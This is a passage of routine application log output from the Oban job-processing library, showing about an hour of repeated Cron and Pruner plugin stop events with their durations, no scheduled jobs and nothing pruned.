{"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:15:19.955 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:49.957 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:00.761 [info] {"source":"oban","duration":419,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:16:19.958 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:49.959 [info] {"source":"oban","duration":832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:00.761 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:17:19.961 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:49.962 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:00.762 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:18:19.963 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:49.964 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:00.763 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:19:19.965 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:49.966 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:00.764 [info] {"source":"oban","duration":321,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:20:19.967 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:49.969 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:00.765 [info] {"source":"oban","duration":158,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:21:19.970 [info] {"source":"oban","duration":926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:49.972 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:00.766 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:22:19.973 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:49.974 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:00.767 [info] {"source":"oban","duration":262,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:23:19.975 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:49.976 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:00.768 [info] {"source":"oban","duration":288,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:24:19.977 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:49.978 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:00.769 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:25:19.979 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:49.980 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:00.770 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:26:19.981 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:49.982 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:00.771 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:27:19.983 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:49.984 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:00.772 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:28:19.985 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:49.986 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:00.773 [info] {"source":"oban","duration":271,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:29:19.987 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:49.988 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:00.774 [info] {"source":"oban","duration":158,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:30:19.990 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:49.991 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:00.775 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:31:19.992 [info] {"source":"oban","duration":918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:49.994 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:00.776 [info] {"source":"oban","duration":317,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:32:19.995 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:49.996 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:00.777 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:33:19.998 [info] {"source":"oban","duration":851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:50.000 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:00.778 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:34:20.001 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:50.002 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:00.779 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:35:20.003 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:50.004 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:00.780 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:36:20.005 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:50.006 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:00.781 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:37:20.007 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:50.008 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:00.783 [info] {"source":"oban","duration":386,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:38:20.009 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:50.010 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:00.783 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:39:20.011 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:50.012 [info] {"source":"oban","duration":818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:00.784 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:40:20.013 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:50.015 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:00.785 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:41:20.017 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:50.019 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:00.786 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:42:20.021 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:50.022 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:00.787 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:43:20.023 [info] {"source":"oban","duration":778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:50.025 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:00.789 [info] {"source":"oban","duration":292,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:44:20.026 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:50.028 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:00.789 [info] {"source":"oban","duration":374,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:45:20.029 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:50.031 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:00.790 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:46:20.032 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:50.033 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:00.791 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:47:20.034 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:50.035 [info] {"source":"oban","duration":820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:00.793 [info] {"source":"oban","duration":354,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:48:20.037 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:50.038 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:00.793 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:49:20.039 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:50.040 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:00.794 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:50:20.041 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:50.042 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:00.795 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:51:20.043 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:50.044 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:00.796 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:52:20.045 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:50.046 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:00.797 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:53:20.047 [info] {"source":"oban","duration":863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:50.049 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:00.798 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:54:20.050 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:50.051 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:00.799 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:55:20.052 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:50.053 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:00.800 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:56:20.054 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:50.056 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:00.801 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:57:20.057 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:50.058 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:00.802 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:58:20.059 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:50.060 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:00.803 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:59:20.061 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:50.062 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:00.804 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:00:20.063 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:50.064 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:00.806 [info] {"source":"oban","duration":299,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:01:20.065 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:50.066 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:00.806 [info] {"source":"oban","duration":290,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:02:20.068 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:50.069 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:00.807 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:03:20.070 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:50.071 [info] {"source":"oban","duration":840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:00.808 [info] {"source":"oban","duration":375,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:04:20.073 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:50.074 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:00.809 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:05:20.075 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:50.076 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:00.810 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:06:20.077 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:50.078 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:00.811 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:07:20.079 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:50.080 [info] {"source":"oban","duration":893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:00.812 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:08:20.082 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:50.083 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:00.813 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:09:20.084 [info] {"source":"oban","duration":551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:50.085 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:00.815 [info] {"source":"oban","duration":379,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:10:20.086 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:50.087 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:00.815 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:11:20.088 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:50.089 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:00.816 [info] {"source":"oban","duration":325,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:12:20.090 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:50.091 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:00.817 [info] {"source":"oban","duration":335,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:13:20.092 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:50.093 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:00.818 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:14:20.094 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:50.096 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:00.819 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:15:20.097 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:50.098 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:00.820 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:16:20.099 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:50.101 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:00.821 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:17:20.102 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:50.103 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:00.822 [info] {"source":"oban","duration":295,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:18:20.104 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:50.105 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:00.823 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:19:20.106 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:50.107 [info] {"source":"oban","duration":876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:00.824 [info] {"source":"oban","duration":158,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:20:20.109 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:50.110 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:00.825 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:21:20.111 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:50.112 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:00.826 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:22:20.113 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:50.114 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:00.827 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:23:20.115 [info] {"source":"oban","duration":755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:50.116 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:00.828 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:24:20.118 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:50.119 [info] {"source":"oban","duration":824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:00.829 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:25:20.121 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:50.122 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:00.830 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:26:20.123 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:50.124 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:00.831 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:27:20.125 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:50.126 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:00.832 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:28:20.127 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:50.128 [info] {"source":"oban","duration":848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:00.833 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:29:20.130 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:50.131 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:00.834 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:30:20.132 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:50.133 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:00.835 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:31:20.134 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:50.136 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:00.836 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:32:20.137 [info] {"source":"oban","duration":859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:50.139 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:00.837 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:33:20.140 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:50.141 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:00.838 [info] {"source":"oban","duration":307,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:34:20.142 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:50.143 [info] 